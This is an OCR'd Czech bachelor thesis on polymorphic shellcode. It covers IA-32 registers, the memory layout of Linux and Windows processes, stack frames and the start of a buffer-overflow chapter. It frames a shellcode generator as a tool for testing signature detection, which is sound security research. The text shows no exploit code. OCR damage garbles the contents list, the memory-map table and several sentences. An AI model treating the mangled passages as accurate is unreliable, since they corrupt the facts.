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Abstrakt

Prace popisuje dulezité informace tykajici se tvorby a pouziti polymorfnich shell-kodu. Obsahuje
informace o rozdéleni virtualniho adresového prostoru na syst¢émech Windows a Linux, registrech
procesoru a klasickych shell-kodech, které jsou zakladem shell-kdda polymorfnich. Hlavnim cilem
prace je vytvofeni pokrocilého generatoru polymorfnich shell-kodi. Ten se bude moci nasledné
pouzit pro testovani schopnosti systému zalozenych na detekci znamych vzora. Pomoci specifikace
argumenti pfi spusténi programu je mozno kombinovat riizné¢ metody polymorfismu a jejich trovné.

Abstract

This paper describes important information relevant to creating and using of polymorphic shellcodes.
It contains informations about virtual adress space layout on Windows and Linux, about processor’s
registers and classical shellcodes, which are basics of polymorphic shellcodes. The primary objective
of this paper is a construction of an advanced generator of polymorphic shellcodes. It can be used for
testing the performance of systems based on a signature detection. It is possible to combine various
methods and their level by specification of arguments at program‘s start-up.

Klicova slova

Shell-kod, Polymorfni shell-kod, Exploit, Exploitace

Keywords

Shellcode, Polymorphic Shellcode, Exploit, Exploitation

Citace

Plocek Radovan: Polymorfni shell-kod, bakalarska prace, Brno, FIT VUT v B¢, 2011



Polymorfni shell-kod

r

Prohlaseni

Prohladuji, Zze jsem tuto bakalafskou praci vypracoval samostatné pod vedenim Ing. Jakuba Kroustka.
Uvedl jsem vSechny literarni prameny a publikace, ze kterych jsem cerpal.

Radovan Plocek
18.5.2011

Podékovani

Rad bych podékoval svému vedoucimu Ing. Jakubu Kroustkovi za odborné vedeni, poskytnuté rady a
konzultace.

© Radovan Plocek, 2011

Tato prdace vznikla jako Skolni dilo na Vysokém uceni technickém v Brné, Fakulté informacnich
technologii. Prdce je chranéna autorskym zdkonem a jeji uZiti bez udéleni oprdavnéni autorem je
nezdakonné, s vyjimkou zdkonem definovanych pripadhi.



Obsah

ODSAN ...ttt ettt ettt a e et ettt a e e a b e h b e hbe et be e be e be e s s s e r e s ees 4
SEZNAM ODIAZKI ... ecuviivieeeie ettt ettt sttt ettt et ss et e sa et sa s s s be st s e s s aeeaseer e s eabesbaeanaas 6
SezNAM PIKIAAU ....vvoveeviie st e b e 7
T VOOt 8
L1 POPIS KAPILOL ..eueeiiiiieeiieeieettet ettt ettt et bbb ess e ss e ss s 8

2 Teoretické ZAKIAAY ....c.eeveuveieiiiirieit ettt e 10
2.1 POJINY ettt e e e h e bbb e h e et sa e ntes 10
2.1.1 SRELL ...ttt e st e er e 10
2,12 SREIKOG ..ottt s 10
2.13 EXPLOIt. ettt bbb s 10
2.14 IMLALWATE ...coueeieieeeee et ettt et sa e saa s saae saaesabesaae s as s as s as s e s e e s e e s aesaaesnae e 10
2.15 POLYMOTTISINIUS ...ttt et e 11
2.1.6 PaYLoad ....ooveeieiiiiieiie e 11

2.2 REISIIY ettt ettt e r e e b e bbbt e a et sn et 11
2.3 Virtualni adreSOVY PIrOSTOT ..cc.eeeeuereierterterientienteeie et st et satsteaesate s aeerae s e s eaneesae s sseesees 13
2.4 SegMENTACE PAMELL ..c..everiureeiiieieetieie ettt sttt e b e sa e s e e en e e ennes 13
24.1 Segment Text (segment KOU) ........cccoouiiiiiiiiiiiii e 15
242 DAtOVY SEGIMEIL ...eouvineeeureriirireieiie ittt sttt et er e er bbb et sbsess s esbess e enses 15
243 BSS et e s h e e ae e 16
244 Hromada (HEap) ...ceoveevveeriieeiieeeieeccecctetttettetie sttt sttt 16
2.4.5  ZASODNIK (STACK) ..eevietietiierteiieieeiiet ettt s 16

3 SREIIKOAY ottt st h e b e 18
3.1 PreteCeni DULTCIU. ...ocvieieie ittt e e 18
3.2 CASH SNEI-KOAU covooveevoeieoeiese ettt 19
3.3 TVOIDa SHEIl-KOAU ....oovviiiiiiiie ettt s saae s s e 20

4 Polymorfii ShEell-KOAY ...ceeviririiiiiiieiiiiciicic e 23
4.1 ZPUSOD LESTOVANL ...ttt ettt sttt e bbb e en e 23
4.1.1 Stanoveni spektralniho ObIazu..........ccocvevieiiniiniiiiiiniiiiini e 23

4.2 Metody POIYMOITISIIIU .......ooviriiiiiiiiiiiiiiii ittt et e 23
4.2.1 FaleSny NOP SIEd ....c.ooveviiiieiiiiiciieecicie sttt 23
422 Zakodovani operaniho KOdU.........cocoeeeiiiiiiiniiiiiiiniiiii i 25
423 MENENT NAVIALOVE AATESY .euveeurirreenieeiie ettt ettt ettt ettt 27
424 VYPIN ottt e 28
4.2.5  Tisknutelny ASCII Shell-KOd ......cocurvirieniiiiiiiiiiiieciiiecici e 28

4.3 VYZNAMNE GENETALOTY ....overutiuertiiieiieiieiiie it it ette st eaeeraesr e etsees e s sbeesse st e e esse st aeseasse st eens 28

5 ODbranngé teChNIKY ......ceeveouiriiiiiieetiie ettt 30
5.1 Preventivii OPAtTeN......coccceeieriineiiiiniiiiiiiie ittt ettt r et s r et 30
5.1.1 BezpeCné programovAN ..........c.covveviiiiiiiiniii e 30
5.1.2 Restriktivni opatfeni Duffert..........oocoveveiiininiiiiniiii e 30

5.1.3  Nespustitelny zZaSODNIK .......ccoeceeuiriiiiiiiiiiiiiiiii e e 30
5.1.4  Nahodné rozIoZeni PAMEL ......cccceuererririterieniirine ettt 31
5.15 Kontrola preteceni bufferti........coocoveiiiiiiiiiiiiii 32

5.2 AKEVIL ODIANA ...veeieeie ittt sttt s st s e 33



5.2.1 DELEKCE VZOTT +vvvveeeeeeeeeeeeeeeeeeeeeeeeeeaeaeaeaeseseaeaeaesssssessssssassesaseseaeseseaeseaeseseaeaeaeaeaesenes 33

5.2.2 DeteKCe ANOMALT .. .vveeveeieiie ettt ctee et ettt et eir e srbe e saaesne e erae s eaae s baeeaneees 33

5.2.3 BINIULACE ..ottt e et e e taeee ettt e e et e eeebaeeesssaaeee s sbasse e nbese e sasaeennsaeeas 33
6 ZLAVET oottt et et et e et aeateeabteaae bbbt ettt et e s et e s a e b e eh b et beeabe e be e e e e enns 34
| IS 1T ;10 o RO UUUURU OO U US RO 35
Piiloha A — Zpfistupnéni shellu v ASM ..o 37
Pfiloha B — KOd €XPlOItt V C ...eucuiiiiiiiiiiie ittt 38
Piiloha C — KOd dekodErtu vV ASM .......oviieieeieie ettt ee ettt et ee et eesaaetesaae e s taeae s sbbeae s ssanaasnes 39
Piiloha D — NApovEda K ProOgramul ........c.coeiiuiiiiiiiiieni ettt 40
PHIONA E — ODSAN DVD ..ottt ettt st ettt et et ss st st e st sa b sbaeeabesabesabe s e e e anns 42



Seznam obrazku

Obrazek 2.1:
Obrazek 2.2:
Obrazek 2.3:
Obrazek 2 4:
Obrazek 2.5:
Obrazek 2.6:
Obrazek 2.7:
Obrazek 3.1:
Obrazek 3.2:
Obrazek 4.1:
Obrazek 4.2:
Obrazek 4.3:
Obrazek 4 4:

Pristup k registru EAX ..o 12
Pristup k re@istru EST ......cooiiiiiiiiii i 12
PHStUP K reiStril CS ..ot 12
Rozdéleni virtualniho adreSovENO ProStOTU.......covevveuiriiriiiiiiiiiiie e 13
Usporadani pameti (LINUX) ....c.ceveeiiiiiiiiiiiiiiieiec e 14
Usporadani pame&ti (WIN32) .....cc.cecuiiiiiiiniiiiie et 15
Usporadani zasobnikoveho TAMCE.........cevviuiiiiiiiiiiii et 17
S10ZENT ShEll-KOU....c.vivieieie ettt st st s e re e 19
Vystup z debuggert (WIn32) ..o 22
Vyskyt bajtu ve faleSném NOP sledu.........ccooooiiiiiiiiii e 25
Spektralni obraz vygenerovanych NOP sledul...........oooiiiiiiiiis 25
Spektralni obraz operacnich KOdu ..o 27
Spektralni obraz opakujicich se navratovych adres ...........oooieiiini 27



Seznam prikladu

PHKIAd 2.1 VOIANT FUNKCE ..covveeeeeie ettt sttt ettt 17
Piiklad 3.1: PreteSeni DUIFEIU ....oviviiiiee ettt s 18
Piiklad 3.2: Operacni kod pro zpfistupnéni Shellt ..........oooiieeiiiiiiie 21
Piiklad 3.3: ZJIStENT ESP.....ouiiiiiiieiiiiee et 21
Piiklad 3.4: Testovaci program na PreteCeN .......coveveeveuirieeetiriiteie et 21
Piiklad 3.5: HOtoVY Shell-KOd....c.coveviuiiiiiiiiiieie e 22
Piiklad 4.1: Uspofadani deKOEIU ..........ccuiviiiiiiiiiiiiiict s 26



1 Uvod

S ohledem na velky rust vlivu internetu na soucasnou spole¢nost v posledni dobé nabyva
pocitacova bezpecnost ¢im dal tim vétsiho vyznamu. Lidé pouzivaji internetové bankovnictvi, posilaji
si dalezité¢ obchodni zpravy pomoci elektronické posty ¢i napriklad zvefejiiuji svoje osobni tidaje na
socialnich sitich s pocitem, Ze nemohou byt nijak zneuzity. AvSak moznosti, jak se ke vSem témto
datim dostat, je nespocet, a obrana proti nim neni vzdy pravé dostatecnd, protoze vrcholem
bezpecnosti pro bézn¢ho uzivatele zpravidla byva pouze obCasné aktualizovany antivirovy program.
O ohrozeni zpusobeném viry a Cervy uzivatelé jakési obecné povédomi maji, o ostatnich druzich
hrozeb uz vétSinou ale ne. Mezi tyto ostatni hrozby patfi pravé zneuziti bezpecnostnich slabin
programi pomoci shell-kodi', coz jsou fetézce reprezentujici instrukce ve strojovém jazyce, jez
provad¢ji to, co chee Gtocnik.

Soucasné antivirové programy a systémy pro detekei ¢i prevenci praniku (IDS/IPS) velmi
&asto pouzivaji pro rozpoznani nebezpeéného kodu zejména detekei vzoru®, ktera dokaze rozpoznat
jednoduché shell-kody. Z toho duvodu se jejich tvurci inspirovali viry a obohatili metody tvorby o
polymorfismus, ¢imz jsou schopni tento zpusob detekce obejit. Na to ovSem zarcagovaly antiviroveé
spole¢nosti vyvojem pokrocilych heuristickych analyz, a systémy pro detekci a prevenci praniku
rozvojem analyzy chovani sitového toku a hledani anomalii. Otazkou vsak je, zda jsou tyto metody
dostateén¢ schopny odhaleni ruznych podob polymorfnich shell-koda. I pres rozvoj novych
detekénich zptisobu mize byt detekce vzoru stale aktualni, protoze nékteré polymorfni metody nejsou
vzdy dokonalé a mohou zanechavat urcité vzory, které Ize pomoci detekce signatur nalézt.

Tvorba shell-kéda (at’ jiz polymorfnich, nebo i oby¢ejnych) a jejich nasledné vyuziti pro utok
na zranitelny program jsou velmi komplexni zalezitosti vyZadujici mnoZstvi znalosti o operacnich
systémech a dobrou znalost jazyka symbolickych instrukci pro danou architekturu. Vzhledem k tomu,
ze jednotlivé bajty shell-kodu jsou vlastné assemblerovské instrukce, je zfejmé, Ze mezi riznymi
architekturami jsou shell-kody nepfenositelné, zaroven také neni mozno pouzit stejné shell-kody ani
na riznych operacnich systémech a jejich verzich.

V této praci analyzujeme soucasné nejrozSifenéj§i metody pro tvorbu polymorfnich shell-
kédu a navrhneme jejich modifikace. Takto upravené metody budou nasledné vyuzity pfi
implementaci generatoru polymorfnich shell-kodu, ktery bude moci slouzit pro testovani schopnosti
ruznych bezpecnostnich programti za ucelem jejich porovnani. Zaroven bude popsano, jakymi
zpusoby muzeme predejit €i se branit pocitacovym utokiim na bazi zneuziti zranitelnosti programu.

1.1  Popis kapitol

Z¢ vseho nejdrive v kapitole 2 definujeme dulezité pojmy, se kterymi se budeme v celé této
praci dale setkavat. Zaroven v této kapitole popiSeme klasické rozvrzeni paméti programu na nékolik
segmentu a jejich vlastnosti. Posléze se v kapitole 4 presuneme jiz pfimo k shell-kodum, v tuto chvili
zatim ke klasickym. Pokud pomoci nich chceme vyuZit bezpe¢nostni slabinu néjakého programu,
musime nejprve nalézt zranitelné misto. Tim nejéastéji byva preteeni zasobniku. Jakmile budeme
veédét, kde shell-kddy pouzit, popiSeme si jejich podobu, tvorbu a vyuziti. S t€émito znalostmi se

! pojem shell, ktery by se do &estiny dal pielozit jako ulita &i skoFdpka, se v odborné literatute nijak nepieklada
* anglicky se oznaduje jako signature detection



budeme moci v kapitole 5 zaméfit na shell-kody polymorfni. Probereme soucasné metody tvorby
polymorfnich shell-kodi a analyzujeme autorem navrzené upravy. Na zavér se v kapitole 6 podivame
na mozné zpusoby ochrany proti zneuziti zranitelnosti programu pomoci shell-kodu.



2 Teoretické zaklady

Jest¢ predtim, nez se zaCneme zabyvat shell-kody, vysvétlime si nékolik pojmi, které se budou
objevovat v této praci, a uvedeme teoreticky zaklad, na kterém je stavéna. Tato kapitola je napsana na
zaklad¢ [1], [4] a [5].

21 Pojmy

2.1.1  Shell

Pojmem shell oznaCujeme interpret prikazu, ktery zprostfedkovava uzivateli funkce jadra
operac¢niho systému. Mezi tyto funkce patfi napfriklad spousténi programu, zobrazovani a ukladani
jejich vystupt.

Shellu existuje vEtsi mnozstvi, mezi nejpouzivanéj§i patfi napfiklad Bourne shell (sh),
Bourne-Again shell (bash) ¢i Ko shell (ksh) na unixovych operacnich systémech a cmd.exe ¢i
PowerShell na operaénich systémech Windows od spole¢nosti Microsoft.

2.1.2  Shell-kod

Co jsou to shell-kody, jsme si jiz struéné popsali v ivodu, ale vzhledem k tomu, Ze jsou
hlavnim tématem této prace, stoji za to si o nich fici o néco vic. Jak jsme se jiz dozvédéli, jedna se o
fetézce, respektive posloupnosti bajtu, které reprezentuji programy zapsané ve strojovém jazyce,
skladajici se z jednotlivych instrukei a pripadnych dat.

Jejich ptavodnim cilem bylo zpfistupnit svému tvirci (vétSinou utocnikovi) shell, pomoci
n¢hoz pak mohl ovladat napadeny pocita¢. Postupem casu se ale vyznam mirn¢ posunul, takze timto
terminem oznacujeme jakoukoli posloupnost bajtu, ktera d€la presné to, co chee jeji autor.

Co se tyce jejich rozdéleni, existuji tfi hlediska, ze kterych na né muZzeme pohlizet. Prvnim
z nich je cilova architektura, na které¢ bude titok probihat. Dal§im je druh bezpecnostni slabiny, ktera
ma byt zneuzita. Muzeme tedy rozli§it shell-kédy vyuzivajici pfeteceni bufferu na zasobniku,
preteceni na hromadg, ¢i jiné. Treti moznosti, jak shell-kddy rozd€lit, je na lokalni a na vzdalené,
podle toho, zda se Gto¢i na program bézici na lokalnim poditaci, ¢i se provadim utok na dalku po siti.

2.1.3 Exploit

Exploit je souhrnné oznaceni pro programy ¢i data, které zneuZzivaji urCité¢ bezpecnostni
slabiny programu. Usp&$nym pouzitim donuti cilovy program k neodekavanému chovani. Tim maze
byt napfiklad staZeni a instalace pocitaCového viru, ziskani vySSich prav uzivatele ¢i vyuziti
napadeného poéitade k utokim typu DDoS’. K tdmto uéelam se v exploitech vyuziva pravé shell-
kodu.

214 Malware®

Tento termin souhrnné oznacuje vSechny nebezpecné pocitacové programy slouzici k utokim
na pocitacové systémy. Patfi sem tedy pocitatove viry, Cervi, exploity, trojsti kon¢ a dalsi.

? 7 anglického Distributed Denial of Service — Distribuované odmitnuti sluzby
* z anglického Malicious software — Zakeiny software

10



2.1.5 Polymorfismus

Polymorfismus je jednim z pokrocilych prvku pocitacovych utokd, ktery umoziiuje obejiti
detekce vzoru. Daného cile dosahuje pomoci zmény podoby operaéniho kédu za soucasného
zachovani jeho funkce, neboli zménou syntaxe a zachovanim sémantiky. Tuto vlastnost hojné
vyuzivaji pocitacoveé viry, od kterych presla praveé k shell-kodam.

2.1.6 Payload

Terminem payload oznacujeme vykonnou cast shell-kodu, ktera je zodpovédna za provedeni
akce pozadované autorem. Nékdy misto tohoto terminu pouzivame oznaceni operaéni kod.

2.2  Registry

V této praci uvazujeme architekturu IA-32 od firmy Intel ([11]). Jak jiz jeji nazev napovida,
jedna se o 32bitovou architekturu s CISC instrukéni sadou. Bajty této architektury jsou do paméti
ukladany v rezimu little endian’, coZ znamena, Ze uklada nejnizsi bajty slova ¢i dvojslova na nizsi
adresy. Pokud bychom tedy vlozili do néjakého registru hodnotu 0x76543210, do paméti se ulozi jako
10325476. Registry této architektury miizeme rozdé¢lit do nékolika skupin — na univerzalni registry,
indexové registry, segmentove registry, registr priznakii EFLAGS. Prestoze jsou vSechny tyto registry
32bitové, nemusime k nim pristupovat jako k celym registrum, ale miazeme pfistoupit pfimo k dolnim
Sestnacti bitum ¢i dokonce k jednotlivym dolnim bajtam.

Mimo vySe zminéné existuji i specialni registry, ke kterym mizeme pristupovat pouze
pomoci specialnich instrukci a ve specialnich modech procesoru. Témi se zde ale zabyvat jiz
nebudeme.

Univerzalni registry

Mezi tyto registry patii EAX, EBX, ECX a EDX. Mizeme je vyuzit jako docasné proménné
pro CPU, avSak vétSina z téchto registri ma i svoje zvlastni urceni. Registr EAX, oznaCovany taktéz
jako akumulator (Accumulator), byva instrukcemi strojového jazyka Casto vyuzivan jako implicitni
operand. Bazovy registr EBX (Base) by se mél primarné vyuzivat pro adresaci. Cita¢ ECX (Counter)
muzeme vyuzit, jak jiz jeho nazev napovida, pro ¢itani cyklu. Jako posledni nam zbyva registr EDX
(Data), ktery ale zadné zvlastni urCeni nema.

Ke vSem ¢tyfem registrim muzeme pristupovat stejné, takze jako priklad pouzijeme registr
EAX. Pokud chceme v ramci instrukce pfistoupit k celému registru, pouzijeme jako operand EAX.
Jako oznaceni pro dolni polovinu se pouziva AX. Spodni bajt registru AX se nazyva AL, horni bajt
AH. Prehledné jsou moznosti pfistupu zobrazeny na Obrazku 2.1.

> Toto ozna¢eni vzniklo z anglického little-end-first

11



32 1615 g

EAX
l
15 &7 i
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z/ \
17 & 7 0
AH AL

ESI
Obrazek 2.1: Pristup k registru EAX

Ukazatele a indexy

Do této kategorie fradime ESI, EDI, EBP, ESP a EIP. Prvni ¢tyfi zminéné mizeme pouzit jako
univerzalni registry, ale v praxi se takto pouzivaji pouze prvni dva z nich. Na rozdil od registri
z predchazejici kategorie muzeme k témto vSem pristupovat pouze jako k celym registrim nebo
k jejich dolnim polovinam (viz Obrazek 2.2). ESI (Source Index) a EDI (Destination index) slouzi
jako ukazatele na zdroj a na cil (napfiklad pfi kopirovani). Ukazatel na bazi dat EBP (Base pointer)
slouzi k uloZeni vrcholu zasobniku pfi volani funkce. ESP (Stack pointer) naproti tomu je ukazatelem
na aktualni vrchol zasobniku. Poslednim registrem z této kategorie je EIP (Instruction pointer), ktery
je oproti zbylym ¢tyfem specificky v tom, Ze k nému nemtzeme pfistupovat pfimo, ale pouze pomoci
specifickych instrukei (zejména skoki). Ukazuje vzdy na pravé provadénou instrukci strojového
jazyka.

32 1615 #

ESI

=1 |

Obrazek 2.2: Pristup k registru ESI

Segmentové registry

Mezi tyto registry patfi Sestice CS (Code segment), DS (Data segment), ES (extra segment),
FS, GS a SS (Stack segment). Piestoze jsou 32bitové, muzeme piistupovat pouze k jejich dolnim
Sestnacti bitim (viz Obrdzek 2.3). Vyuzivame jich pro vypocet skutecné adresy uréené pro pienos po
adresové sbérnici pocitace.

Cs

Obrazek 2.3: Pristup k registru CS
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EFLAGS
Poslednim registrem je registr pfiznaki EFLAGS, ktery obsahuje jednobitové priznaky

SF, OF, CF a IF. Priznak nuly ZF (Zero flag) indukuje, Ze vysledkem operace byla 0. Znaménkovy
priznak SF (Signum flag) indikuje zaporny vysledek operace. Priznak preteéeni OF (Overflow flag) je
nastaven ve chvili, kdy vysledek pietece, tj. nevejde se do vymezeného pamétového mista. Priznak
prenosu CF (Carry flag) znaci pfenos do vyss§iho fadu (zejména u aritmetickych operaci). Poslednim
zminénym je pfiznak preruseni IF (Interrupt flag), oznamujici procesoru, ze muze provést preruseni.

2.3  Virtualni adresovy prostor

Moderni operac¢ni systémy poskytuji techniku mapovani fyzické paméti do paméti virtualni.
To ma n¢kolik vyhod:
e zvySeni bezpecnosti oddélenim béZicich procesu
e snadné¢ sdileni paméti riznymi procesy
o teoretické poskytnuti vétsi paméti, nez na pocitaci fyzicky existuje
e vySSi mira abstrakce pro programatora
Cely virtualni prostor byva rozdélen na dvé casti — prostor vyuzivany systémem a prostor
pridéleny procesu. Velikost virtualniho adresového prostoru a mnozstvi paméti pfifazené procesu
zavisi na pouzitém opera¢nim systému. Na 32bitovych systémech ma adresovy prostor vzdy velikost
4 GB, uzivatelsky prostor na linuxovych systémech ma 3 GB, na Windows ma zpravidla 2 GB,
pokud je ovSem nastaven mod 4GT (4-Gigabyte Tuning), umoziiuje procesu vyuzivat adresovy
prostor o velikosti az 3 GB. Tento mod se na starSich syst¢émech (Windows 2000, Windows XP,
Windows server 2003) nastavi uvedenim prepinace /3GB v souboru boot.ini. Na nové¢jSich systémech
jej lze zapnout pomoci pifikazu BCDEdit /set increaseuserva VALUE, kde VALUE je
hodnota v megabajtech v rozmezi 2048 az 3072, ktera udava velikost uzZivatelského adresového
prostoru. Vyse uvedené rozdéleni Virtualniho adresového prostoru je zobrazeno na Obrazku 2.4.

Linux Windows Windows (4GT)
OxFFFFFFFF j j j j i i
Systémovy prostor Systémovy prostor Systémovy prostor
1GB 2GB 1-2GB
0xC0000000 G G G

0x00000000

24

Uzivatelsky prostor
3GB

Uzivatelsky prostor
2GB

Uzivatelsky prostor
2-3GB

Obrazek 2.4: Rozdélent virtudlniho adresového prostoru

Segmentace paméti

Abychom mohli vytvaret funkéni a efektivni shell-kody, musime znat velmi dobfe usporadani
uzivatelského adresového prostoru. To je ovlivnéno formatem spustitelného souboru. Na linuxovych
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operaénich systémech je nejpouzivangjsim formatem ELF, ktery je rozdélen na ndkolik segmenti.
Pro jednoduchost v tuto chvili zanedbame umisténi dynamickych knihoven, takZze budeme mit pét
segmentu. Kazdy z nich slouzi pro jiné ucely. Na nejniz§ich pamétovych pozicich se naléza segment
text, za nimZ nasleduji segmenty Data a BSS. Ty nasleduje hromada’. Poslednim segmentem je
zasobnik, ktery se nachazi na nejvysSich pamétovych pozicich. Celé toto usporadani na systému
napriklad sdilenych knihoven ¢i sdilen¢ paméti. Jak je na obrazku vidét, zasobnik zacina az od adresy
0xC0000000, coz je pravé z duvodu rozd€leni virtualniho pamétového prostoru.

Ox00000000
Text
Data
BSS
i Hromada
T Zasobnik
0xCO0000000

Obrazek 2.5: Uspordddni pameéti (Linux)

vvvvvv

spustitelného souboru se nepouziva ELF, ale PE-COFF®, ktery je odlisny. Pfi mapovani souboru do
virtualni paméti se nemapuje cely soubor, ale pouze potfebné sekce, z nichZ nas zajimaji zejména
segmenty Text a Data. Podrobny popis tohoto formatu je ale mimo rozsah této prace. Pii vytvareni
procesu se vytvori jedna hromada, spolecna pro vSechna vlakna procesu, a pro kazdé vlakno je
vytvofen samostatny zasobnik.

Na Obrdzku 2.6 vidime vystup z grafického ladiciho programu OllyDbg’, ktery nam ukazuje
rozlozeni virtualni paméti na Windows. Miizeme si na ném vSimnout nékolika véci. Jednou z nich je
potvrzeni rozsahu uZivatelskému procesu pfidélené paméti — na adrese 0x80000000 zacina systémovy
prostor. Dalsi zajimavosti je umisténi Sesti PE soubort. Prvnim z nich je testovaci program test2.exe
(Priklad 2.1), ktery byl ladicim programem analyzovan. Dal§imi jsou nactené¢ dynamické knihovny.
Posledni, pro nas dilezitou, véci je umisténi zasobniku, kter¢ je zvyraznéno. Vidime, Ze na rozdil od
Linuxu je zasobnik umistén téméf na nejnizsich adresach.

® zkratka z anglického Executable and linkable format, ¢esky Spustitelny a linkovatelny format
7 jinak také Halda, ptipadné anglicky Heap

¥ zkratka z anglického Portable Execution — Common Object File Format
? http://www.ollydbg.de
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Ve zbytku této kapitoly se ale vratime ke klasickému rozlozeni, které je pritomno
v linuxovych distribucich.

IEI Memory map @lﬂnﬂ_hj

Address Size Owner Section Contains Type|Access Initial -
00010000 | 00010000 Map W =W
Q0020000 | 00010000 Map BW BW
00ZZBO0O0 | 00001000 Priv|RW GuaiBEW Guasa:
00ZZ2C000 | 00004000 Stack of main thread Priv|RW BH
00230000 | 00004000 Map (R =
00z40000| 00001000 Priwv|RW BW
00250000 | 0000BO0OO Priwv|BRWE BWE
00Z€0000 | 000&7000 Map |R =
00200000 | 00001000 Map = =3
00ZE0000 | 00001000 Priw|RWE RWE
00200000 | 00007000 Priw|RW =i
00320000 | 00003000 Priw | BEW =i
002230000 | 00001000 Priwv | BRW =i
00400000 | 00001000 | testZ PE header Img (R BEWE Cop:
00401000 | 00006000 (testZ Img (R E RWE Cop:
00407000 | 00001000 | testZ Img |RBW BEWE Cop:
00408000 | 00001000 | testZ Img (R RWE Cop:
00403000 (00002000 | test2 Img |BW EWE Cop:
0040B000 | 00005000 | testZ Img RWE Cop:
00580000 | 00008000 Priv |RW =)
£4D00000 | 00001000 | snxhk PE header Img |R BWE Cop:
&4D01000 | 0001B000 | snxhk -.text Code Img |R E BEWE Cop:
£4D1C000 | 00007000 | snxhk -rdata Imports, exports Img |R BWE Cop:
&4Dz3000 | 0000B0O00D | snxhk .data Data Img |(RW CopiRWE Cop:;
£4DZEQ00 | 00001000 | snxhk .rsrcc Resources Img (R BWE Cop:
S4DZF000 | 00005000 | snxhk .reloc Relocations Img (R EWE Cop:
75EEQ000| 00001000 | EERNELEBAS PE header Img |R RHE Cop:
75EE1000 | 00043000 | EERMNELBAS Img |R E RWE Cop:
75F24000| 00002000 | KERMELBLS Img |BRW RHE Cop:
75F2&000| 00004000 | EERNELBLS Img |R BWE Cop:
TFZ30000| 00001000 mswvcrt PE headerx Img (R BEWE Cop:
T72321000 | 0008F000 | mswvert Img (R E BEWE Cop:
F7ZD0000 | 00007000 | msvcert Img |(BEW CopjRWE Cop:;
FTFZDT7000 | 00005000 msvert Img (R BWE Cop:;
775E0QQD0 | 00001000 | kernel3Z EFE headex Img (R BEWE Cop-
FF5E1000 | 000C5000 | kernel3Z Img (R E BWE Cop:
TFEA€000| 00001000 | kernel3z Img |RW BRWE Cop:
FFEATO000 | 00000000 | kernel3Z Img |R BEWE Cop:
77CF0000 | 00001000 | ntdll PE header Img |R BWE Cop:
FFCF1000|000D€000 (ntdll Img (R E RWE Cop:
77DCT7000 | 00009000 | ntdll Img |BW CopjBRWE Cop:
77000000 | 0005C000 (ntdll Img |R RWE Cop:
77F30000 (00001000 Img (R EWE Cop:
TFEFeF0000 | 00005000 Map |R =
TEFBOOOO | 00023000 Code pages Map = =3
TFEFDEOOO | 00001000 Data block of main th Priwv|BW =)
TFEFDFOO0O0 | 00001000 Process Environment E Priwv|RW BW
TFFE0000| 00001000 Priw|R =
20000000 | FEFFFO000 Fernel memory Fern il

Obrazek 2.6: Usporaddni paméti (Win32)

24.1 Segment Text (segment kodu)

Tento segment obsahuje vlastni instrukce programu ve strojovém kodu. Vzhledem k tomu, Ze
pfi prekladu jsou vSechny instrukce znamy, jeho velikost se neméni a nelze do néj zapisovat. Ukazatel
na pfisti provadénou instrukci je ulozen v registru EIP.

24.2 Datovy segment

Datovy segment obsahuje vSechny inicializované globalni a statické proménné. Stejné jako
predchozi jmenovany segment ma datovy segment pevnou velikost, avSak je mozno do néj zapisovat.
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243 BSS"

Segment BSS je obdobou datového segmentu pro neinicializované proménné. Lze do ngj
zapisovat a ma pevnou velikost.

244 Hromada (Heap)

Hromada je segment o proménlivé velikosti, ktery je pod kontrolou programatora. Ten muze
za béhu programu alokovat nové bloky paméti (napfiklad funkci malloc ()), ¢i rusit stavaji bloky
funkci free (). Jazyk C programatorovi neposkytuje zadné¢ mechanismy pro automatickou spravu
paméti (na rozdil od jazyku Java ¢i C#), takze vSe je pln€ v jeho zodpovednosti.

Pfi alokaci novych pamétovych bloku roste hromada smérem k vys$§im pamétovym adresam.

24.5 Zasobnik (Stack)

Jako zasobnik oznacujeme na obecné urovni abstraktni datovou strukturu, s jejimiz prvky
manipulujeme tak, Ze prvky vloZené na zasobnik jako prvni zpracovavame jako posledni. Pro toto
chovani se pouZiva oznadeni LIFO'".

Zaroven zasobnikem oznacujeme pravé jeden ze segmentu paméti s vlastnostmi uvedenymi
vyse. Ten se nachazi na nejvysSich pamétovych adresach. Stavajici vrchol zasobniku je ulozen v
registru ESP a prubézné se posouva s tim, jak na zasobnik data vkladame (instrukci PUSH) a zase ze
zasobniku odebirame (instrukci POP). Vzhledem k tomu, Ze segment zasobniku je umistén nejnize
(na nejvyssich adresach paméti), pfi dynamickém zvétSovani roste smérem k niz§im pamétovym
adresam.

V klasickém aplikaénim binarnim rozhrani'? hraje zasobnik dileZitou roli pii volani funkci
uvnitf programua. Vzdy prfi zavolani funkce se na n¢j ulozi zasobnikovy ramec obsahujici parametry
volan¢ funkce, navratovou adresu, ukazatel na uloZeny ramec a vSechny lokalni proménné. Vzhledem
ke zpusobu chovani zasobniku se parametry ulozi v obraceném poradi. UloZzena navratova adresa
slouzi pro obnoveni EIP registru, ukazatel na zasobnikovy ramec pro obnoveni EBP registru.
Jednoduché volani funkce je zobrazeno v Prikladu 2.1. Z hlavni funkce main () volame funkci
test () se dvéma dCiselnymi parametry typu int. Tyto parametry se ulozi na zasobnik jako prvni
v obraceném portadi. Posléze se na zasobniku vytvofi novy zasobnikovy ramec pro danou funkci
vloZzenim navratové adresy a ukazatele na pivodni ramec. Jako posledni se na zasobnik vkladaji
mistni proménné funkce. Finalni usporadani zasobnikového ramce funkce je na Obrdzku 2.7.

"2kratka z anglického Blank Static Storage

"ekratka z anglického Last in, first out

"2 anglicky Application Binary Interface; popisuje nizkotiroviiové rozhrani mezi jednotlivymi aplikacemi a

operacnim systémem
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void test(int a, int b)
{
int mistni promenna;

mistni promenna = a + b;

void main()

{
test (5, 3);

Priklad 2.1: Voldani funkce

mistni promenna

ukazatel na rimec

nivratova adresa

Obrazek 2.7: Usporadani zasobnikového ramce
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3 Shell-kédy

Co to jsou shell-kody, jsme jiz popsali ve druhé kapitole. Nyni problematiku shell-kodu
popiseme podrobn¢, zejména jakym zpluisobem se pouzivaji, z ¢eho se skladaji a jak je vytvorfime na
operacnich systémech Linux a Windows. Pfi psani této kapitoly bylo ¢erpano z [1], [2], [4], [6] a [7].

3.1 Pretec¢eni bufferu

Pokud chceme uspésné zneuzit zranitelnost konkrétniho program, musime nejprve nalézt jeho
slabinu. Tou nejcastéji byva pravé preteceni bufferu, zejména na zasobniku. Existuji i preteceni
dalsich pamétovych segmentt, ale t€mi se v této praci nebudeme zabyvat. Tento druh zneuziti je
programovani se docteme v Kapitole 5.1.1.

